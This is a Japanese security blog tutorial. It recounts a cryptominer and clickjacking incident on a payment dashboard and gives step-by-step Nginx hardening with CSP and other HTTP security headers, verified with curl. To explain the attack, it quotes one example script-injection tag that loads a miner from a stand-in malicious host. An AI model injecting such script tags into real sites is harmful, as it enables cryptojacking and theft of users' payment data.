Content Security Policy(CSP)とHTTPセキュリティヘッダーによるNginxの堅牢化

Security tutorial - IT technology blog
Security tutorial - IT technology blog

深夜2時15分のアラート:顧客ダッシュボードに潜む不正暗号資産マイナー

火曜日の午前2時15分、ベッドサイドテーブルの上でスマートフォンが激しく振動しました。PagerDutyからわずか60秒の間に3件の緊急アラートが届いたのです。1,200人以上のアクティブユーザーが当社の決済ポータルにアクセスしており、ユーザーのブラウザから東欧の未登録IPアドレスへ異常な外部WebSocket接続が発生していました。

ダッシュボードを読み込んで数秒のうちに、クライアント側のCPU使用率は98%まで急上昇しました。顧客のブラウザタブ内で、不正なMoneroマイニングスクリプトが直接実行されていたのです。さらに悪いことに、支払いボタンの上に見えないiframeオーバーレイが配置され、クレジットカード情報の入力がハイジャックされる状態になっていました。

バックエンドのログを確認しても、不可解な状況でした。PostgreSQLのクエリはすべてパラメータ化されており、ユーザー入力はOWASPのチートシートに従ってサニタイズされていました。CIパイプラインのチェックもすべて正常に通過しています。それにもかかわらず、信頼できない悪意あるJavaScriptが顧客のセッション内で猛威を振るっていたのです。

SecurityHeaders.comで簡易診断を実施したところ、公開Nginxプロキシの評価は最悪の「F」でした。外部からのフレーム埋め込みに対する防御はなく、リモートスクリプトの読み込み元への制限も皆無で、MIMEタイプの保護策も講じられていませんでした。アプリケーションレベルのサニタイズがエッジケースを見落とした際、HTTPヘッダーは最後のセーフティネットとして機能します。しかしその夜、当社のプロキシはレスポンスヘッダーを丸裸の状態で通過させていたのです。

ブラウザがデフォルトで悪意あるペイロードを実行してしまう理由

ブラウザは、明示的に制限を指示しない限り、サーバーからのレスポンスを無条件に信頼します。Markdownプレビューやプロフィール項目に <script src="https://evil-cdn.org/miner.js"> といったコードが紛れ込むと、Chromeは何の疑いもなくそれをダウンロードして実行してしまいます。

Nginxのアクセスログとパケットダンプを詳細に分析した結果、3つの重大な脆弱性が判明しました。

  • Content Security Policyの欠如: Content-Security-Policy ヘッダーが設定されていなかったため、ブラウザはインターネット上のあらゆるドメインから外部スクリプトを読み込んでいました。さらに、検証なしでのインラインスクリプトブロックの実行も許可されていました。
  • 無制限のiframe埋め込み: frame-ancestors や X-Frame-Options が設定されていなかったため、外部Webサイトが透明なiframe内に当社の決済画面を読み込むことが可能になっていました。これにより、クリックジャッキング攻撃が極めて容易になっていたのです。
  • 無防備なMIMEスニッフィング: X-Content-Type-Options: nosniff がなかったため、ブラウザがファイルタイプを自動推測しようとしていました。MIMEタイプが曖昧な場合、JavaScriptが埋め込まれた悪意ある .png ファイルを実行可能コードとして処理してしまうリスクを抱えていました。

3つの対策アプローチの比較・評価

ペリメーター(境界線)を直ちに完全防御する必要がありました。一般的に、セキュリティヘッダーを挿入するアーキテクチャ層として検討されるのは以下の3つです。

1. アプリケーションミドルウェア(Express Helmet、Django Security、Laravel Middleware)

アプリケーション層でのヘッダー挿入は、小規模な単一リポジトリのサービスには適しています。しかし、14のマイクロサービスを抱える当社のKubernetesクラスタでは、設定の乖離(ドリフト)が原因でこの選択肢は採用できませんでした。あるGo製サービスが厳格なヘッダーを実装していても、古いRailsサービスでは古いミドルウェアが稼働しているといった状況が生じたためです。さらに問題だったのは、Amazon S3やローカルのNginxキャッシュから直接配信される静的アセットが、アプリケーションコードを完全にバイパスしてしまう点でした。

2. CDNおよびエッジワーカー(Cloudflare Transform Rules)

Cloudflareのエッジノードでヘッダーを挿入する方法は、数分で実装可能です。しかし、これは外部サービスへの依存を生み出します。ステージング環境、災害復旧(DR)時、またはVPN経由の内部テストなどでトラフィックがCDNをバイパスした場合、オリジンサーバーが無防備なまま晒されてしまいます。

3. Nginxリバースプロキシによる集約管理

Nginx内で直接ヘッダーを管理すれば、一貫したセキュリティカバレッジを確保できます。アップストリームのAPIクラスタ、マイクロサービス、静的ファイルディレクトリからのすべてのレスポンスに対して、パケットがネットワーク境界を越える前に一律のセキュリティルールを適用できます。

本番環境Nginxのステップバイステップ堅牢化手順

十分な準備なしに厳格なヘッダーを一括適用すると、本番環境の機能が破損します。正当なアクセス解析スクリプトが動かなくなったり、Webフォントの描画が停止したり、Stripeの決済モーダルが突如開かなくなったりします。ここでは、堅牢な構成を安全かつ段階的にデプロイした手順を紹介します。

ステップ1: レポート専用モードで稼働中アセットを監査する

いきなり厳格なポリシーを強制適用するのは危険です。まずは Content-Security-Policy-Report-Only から始めましょう。正規のユーザー導線をブロックすることなく、違反を監視してロギングエンドポイントへJSONレポートを送信します。

# 変更を適用する前に構文を検証
sudo nginx -t

server ブロック内に以下の監視用ディレクティブを追加します。

# フロントエンドのスクリプトを停止させずにポリシー違反を監視
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.yoursite.com https://api.stripe.com; frame-ancestors 'none'; report-uri /api/v1/csp-reports;" always;

この状態で24時間運用します。ログを確認してブロック対象となっているドメインを洗い出し、本番適用前に不足しているCDNエンドポイントをホワイトリストへ追加します。

ステップ2: 強制適用ヘッダーをデプロイする

正当なスクリプトの配信元をすべてマッピングできたら、ポリシーをアクティブな強制適用へと切り替えます。Nginxのバーチャルホスト設定ファイル(/etc/nginx/sites-available/app.conf など)を開きます。

server {
    listen 443 ssl;
    http2 on;
    server_name yoursite.com;

    ssl_certificate /etc/letsencrypt/live/yoursite.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yoursite.com/privkey.pem;

    # コンテンツセキュリティポリシー (CSP): 不正な外部スクリプトと無許可のフレーム埋め込みを禁止
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.yoursite.com https://api.stripe.com; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; form-action 'self';" always;

    # レガシーブラウザ向けのクリックジャッキング対策
    add_header X-Frame-Options "DENY" always;

    # MIMEタイプの誤認識攻撃(MIME sniffing)をブロック
    add_header X-Content-Type-Options "nosniff" always;

    # 外部リンクへのリファラー情報を制限
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # 不要なデバイスAPIへのアクセスを制限
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(self 'https://js.stripe.com')" always;

    # サブドメインを含め2年間のHTTPS接続を強制
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

ステップ3: Nginxの add_header 継承の落とし穴を回避する

Nginxには、エンジニアがつまずきやすい重要な設定仕様があります。add_header ディレクティブは、子ブロック内で独自の add_header が定義されている場合、親ブロックの設定を継承しません。つまり、http ブロックでヘッダーを設定していても、location /static/ ブロック内で add_header Cache-Control を追加すると、Nginxはその静的ファイルに対するすべてのセキュリティヘッダーを無効化してしまいます。

設定の重複や抜け漏れを防ぐために、共通ヘッダーを再利用可能なスニペットに切り出しましょう。

sudo nano /etc/nginx/snippets/security-headers.conf

スニペットファイルにヘッダー定義を記述し、すべてのlocationブロックでインクルードします。

location /static/ {
    alias /var/www/app/static/;
    include /etc/nginx/snippets/security-headers.conf;
    add_header Cache-Control "public, max-age=31536000, immutable";
}

ステップ4: 影響を受けたインフラストラクチャの認証情報をローテーションする

HTTP境界を保護する一方で、侵害を受けた18台のワーカーノード全体で管理者認証情報のローテーションを行う必要がありました。平文ネットワーク経由で入力値を送信するような、広告付きのWeb生成ツールに本番環境のシークレットを貼り付けてはいけません。

私は toolcraft.app/ja/tools/security/password-generator にあるクライアントサイドのパスワードツールを使用して、高エントロピーな64文字の文字列を生成しています。このツールはブラウザのWeb Crypto APIを使用して乱数を計算するため、シークレットが外部サーバーやログファイルに送信される心配がありません。データベース、SSH、Redisの認証情報を20分以内にすべてローテーションしました。

ステップ5: CLIから設定を検証する

接続の切断やダウンタイムを発生させずに、Nginxのワーカープロセスを正常にリロードします。

# 設定の構文を検証
sudo nginx -t

# アクティブなユーザー接続を切断せずにリロード
sudo systemctl reload nginx

# 本番エンドポイントの実際のヘッダーを確認
curl -I https://yoursite.com

ターミナルに以下のような防御ヘッダー群が出力されるはずです。

HTTP/2 200
server: nginx
date: Tue, 15 Oct 2026 03:12:44 GMT
content-type: text/html; charset=UTF-8
content-security-policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net ...
x-frame-options: DENY
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
permissions-policy: camera=(), microphone=(), geolocation=(), payment=(self 'https://js.stripe.com')
strict-transport-security: max-age=63072000; includeSubDomains; preload

午前3時45分までに、SecurityHeaders.comにおける当社のドメイン評価は「A+」に到達しました。クライアントマシン上での不正なマイニングスクリプトは即座にブロックされ、iframeの展開は失敗し、不正なAPI呼び出しはブラウザのサンドボックスによって遮断され、インシデント対応チャンネルはようやくクローズされました。

Share: